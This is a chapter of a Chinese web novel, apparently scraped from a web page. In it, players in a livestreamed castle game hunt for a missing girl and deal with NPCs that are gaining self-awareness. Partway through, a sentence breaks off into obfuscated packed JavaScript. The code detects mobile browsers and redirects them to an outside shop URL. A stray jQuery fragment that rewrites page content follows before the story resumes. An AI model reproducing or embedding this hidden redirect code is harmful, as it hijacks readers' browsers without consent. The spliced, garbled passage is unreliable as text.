除了凯里的卧室，众人将城堡再次翻了个底朝天，依旧一无所获。
唐溪奇怪道：“那些守卫去哪了？”
“在地下室。”许茫生回答，“我用鞭子把他们困住了，要放出来吗？”
“不用。”
唐溪摆手，视线落在他空荡荡的手心。怪不得见到玛丽时一直没有动手。
别人不知道，可唐溪很清楚，许茫生的鞭子很有可能是本体炼化的武器。不知道失去鞭子对他有没有影响。
太岁不甘心地用道具又排查了一遍，还是没有找到，转头看到唐溪和许茫生正在深情对视，忍不住吐槽：
“你们俩能不能换个地方打情骂俏？下一步怎么办？直接找那个老登问个清楚得了。”
莫名其妙被污蔑的唐溪：……
状况外的许茫生：“什么是打情骂俏？”
“哎呀太岁你少说两句。”
尹珍宝熟练捂嘴，又将许茫生拽到一边悄声科普，两个脑袋挤在角落里，有种小孩说悄悄话的即视感。
唐溪尴尬咳嗽，“先去找凯里，如果还没有得到任何线索，只能扩大探查范围。”
“得嘞。”太岁直奔凯里卧室。
许茫生跟在队伍后方，看着唐溪若有所思，在众人视野盲区偷偷推了唐溪一把。后者警觉侧身，握住偷袭者的手腕来了个过肩摔。
玩家们被闷响声吸引，纷纷停下脚步，看清躺在地上的人后，又挪开视线。
“小许？”
唐溪惊愕松手，她以为有小怪暗中偷袭，所以并未留手。
“呃……”许茫生揉着后脑勺撑起身子，双眼放空，“这是打情骂俏吗？”
太岁恍若未闻，头也不回推开卧室房门，早已满头大汗，在心里骂自己多嘴。
弹幕一时间疯狂刷屏，嘲讽不断。
“元启游戏大抵是病了，将这么个人工智障安插在玩家队伍里。”
“救命，这不是许茫生，我们家许茫生没有这么蠢！”
“或许是元启游戏针对玩家性格改变了设定？”
“这也太傻了，我隔壁二舅家的三岁小孩都知道打情骂俏的意思。”
“天赐良缘预备玩家们，你老公。”
……
“我怎么觉得，许茫生这是在学习呢？好诡异。”
唐溪来不及指责什么，就见穿戴整齐的凯里走出房门，整个人苍老了许多。
“你们找到碧翠丝了吗？”
太岁先声夺人，长刀指着凯里的鼻子：“老登！敢不敢再给点线索，整个城堡都找遍了也没你女儿。”
又怂又……欠揍的语气。
唐溪单手把许茫生拽起来，手心出现一枚匕首严阵以待。不知怎的，她隐约间有种不祥的预感。
“我们说好的，找到碧翠丝就算完成任务。”凯里的眸子变得猩红一片，“你们连这么简单的任务都完成不了吗？”
唐溪顿时警铃大作。
说好的？难道凯里也觉醒了？
“什么说好的？”她贴近许茫生，轻声问道。
许茫生回答：“我们做了场交易。游戏出现偏差，权限被他控制了，只能退而求其次。”
“你倒是有本事。”
唐溪阴阳怪气，许茫生假装没听到，悄悄上前半步把她挡在身后。
城堡深处发出震耳欲聋的响动，令人牙酸的金属碰撞声传入耳膜，玩家们神经紧张，纷纷握紧武器。
“你以为她是萝卜白菜遍地跑啊？”太岁硬着头皮说，“要是能找到，小爷我早就把人带过来了。”
凯里视线在玩家身上扫过，落在唐溪身上：“唐溪，我在梦里见过你。碧翠丝和你说了什么？”
“她说你是个好父亲。”唐溪回答，手背在身后朝众人打了个手势。
与此同时，直播间画面中断。观众们从凯里推门出现的那一刻起，接收信号就断断续续，几乎听不清玩家在说什么。
直播间外一片哗然，实时监测的工作人员立即向上汇报。
之前也有过直播间中断的状况，可那都是受玩家成就点和技能的短期影响，这次和以往不同。
不顾玩家们震惊的眼神，唐溪神态自若，和凯里谈判条件：
“碧翠丝还说，希望你不要被仇恨蒙蔽双眼。
凯里，真相近在咫尺，你先冷静，我们好好谈一谈。”
太岁神情突变，他拼命朝唐溪使眼色，脸皮都快挂不住了。唐溪余光一扫，便知直播间出了问题，面上却不显。
“我只想找到自己的女儿。”凯里悲痛说道，“这场噩梦我做的太久了，只要碧翠丝回来，我就放过你们。”
唐溪犯难：“外面都是守卫和受诅咒的师生。”
言下之意，完成任务需要对方协助和配合。
凯里摇头拒绝：“我无法破解诅咒，只能杀死玛丽。至于守卫，只要你们不违反规则，就不会受到攻击。”
“谢谢，我们会尽力的。”
唐溪点头，随后带着威胁说道：“但你要做好心理准备，无论找回的是尸体，还是别的什么，你都要兑现承诺。
否则，我不介意剥夺你的权限。”
凯里没有说话，带着忧郁的神色退回卧室，将自己封闭起来。
门刚合上，太岁就忍不住说话：“直播间中断了。”
“我知道，”唐溪说，“是凯里干的，他觉醒了。”
“什么意思？”天道酬勤问道，“游戏NPC也会拥有自我意识？”
唐溪意味深长地看他一眼：“我以为你早就知道了。毕竟，你们俩也算是熟人。
如果你们还想活着离开这里的话，不妨交换一下信息？”
尹珍宝握着斧头贴近唐溪，显然和她站在一边。天道酬勤和太岁对视一眼，一咬牙，终于放下芥蒂：
“我们在第一场游戏获得了可让渡权限，可以一定程度上改变游戏内容。这一点你已经很清楚了。”
“继续。”唐溪眼神示意。
“权限我可以给你，但是你要保证我们的安全。”
天道酬勤抬手打开面板苦笑一声，“之前有玩家散播消息，获得足够的权限可以离开游戏，于是引发了争夺。”
“理论上可行，”唐溪肯定说道，“实践起来有困难，说不定还有别的方法。
还有，我对你的权限不感兴趣。”
两人松了口气，就听唐溪继续说：
“两件事，觉醒后的NPC会脱离剧情走向，判断标准是能否看到玩家真实姓名。这也是玩家守则前两条所要预防的情况。
其次，如果凯里愿意配合，我会酌情考虑不杀他。
现在找到玛丽，干掉她。”
说罢，唐溪转身离开，直奔城堡外。天道酬勤跟在她
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14115219|144715||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
身后询问：“你不好奇我第一天见了什么人？”
“用头发丝都能想到，你来过城堡，见到凯里后和他达成了某种共识。你说是吧，小兜。”
尹珍宝调皮地吐了吐舌头，“其实我们早就猜到啦。”
天道酬勤&太岁：……只有我们两个蠢人吗？
“许茫生在哪？”
唐溪发现身边少了个人，停下脚步。
“小许哥哥好像没跟上来。”尹珍宝不确定地回答。
唐溪皱眉，她只顾着交换信息，竟然忘了关注这名落跑的NPC。她留下一句“你们先走”，再次返回城堡。
沿着原路仔细寻找，唐溪只见许茫生如同雕塑一般留在原地，一动不动。她大步上前拍了拍他的肩膀：
“小许，你在这里做什么？”
许茫生僵硬回头，眼里充满迷茫：“小缘，你的真实名字是什么？”
一路走来，他对人类的了解愈发加深，甚至解锁了一些新的能力。可有一些领域，依旧空白。
“不重要。”
“为什么？”许茫生步步紧逼，“为什么不愿意让我知道你的名字？你们不是说，判断标准是玩家的真实姓名吗？”
唐溪主动牵起他的手安抚道：“所以我在等你觉醒的那一天。”
私心来说，她比谁都希望许茫生觉醒。
他太特别了。能够在未觉醒状态下脱离游戏设定的，这恐怕是第一个。如果他能够主动觉醒，公司对于数字生命的所有猜测都将成立。
即便他的到来，极有可能是一场针对自己的阴谋。
“为什么？”
唐溪有些好笑，抬手抹掉自己头顶的ID，“我可以有任何名字，因为这本来就是捏造的。可现实世界的人类不需要这行小字，只要相识，就是彼此的朋友。”
许茫生怔怔点头，看向那只握住自己的手：“对不起。”
“没事，”唐溪无所谓道，“不是你的错。相反，我很庆幸能够见到你。
小许，跟我走吧，我们一起通关。”
许茫生点头，疑惑和猜测被抛诸脑后。只要能留在这个人身边，他宁愿牺牲一切。
脱离大部队的唐溪展现自己的真正实力，将权限和成就点应用到极致。
她带着许茫生破窗一跃而下，石砖从墙体向外生长，稳稳接住二人下坠的身体，形成空中阶梯。
接近飞翔的快感刺激神经，唐溪十分享受这种感受。
自由且绝对掌控。可游戏就是游戏，她依旧想要回到现实世界。
没有累赘的情况下，二人的速度极快，在众人抵达学院大门之前赶上大部队。
“小缘姐姐，”尹珍宝冲他们招手，表情还算轻松。
唐溪放下心来，看来这一路还算顺利。她看向不远处的学员大门，受诅咒的师生们密密麻麻地记在围栏后，眼露红光。
“我和小许打头阵，小兜和太岁清扫两翼，天道叔用技能判断关键角色。”唐溪有条不紊地安排行动。
太岁咽了咽口水：“我能不进去吗？这玩意看着就恶心。”
“如果你有别的办法找出玛丽，随时欢迎。”唐溪说，“暂时先这样，这些小怪的攻击意图薄弱，不算难杀。
当成在玩全息网游就好，受伤有许茫生。”
她的话仿佛一根定海神针，“所有人竭尽全力，有我兜底。”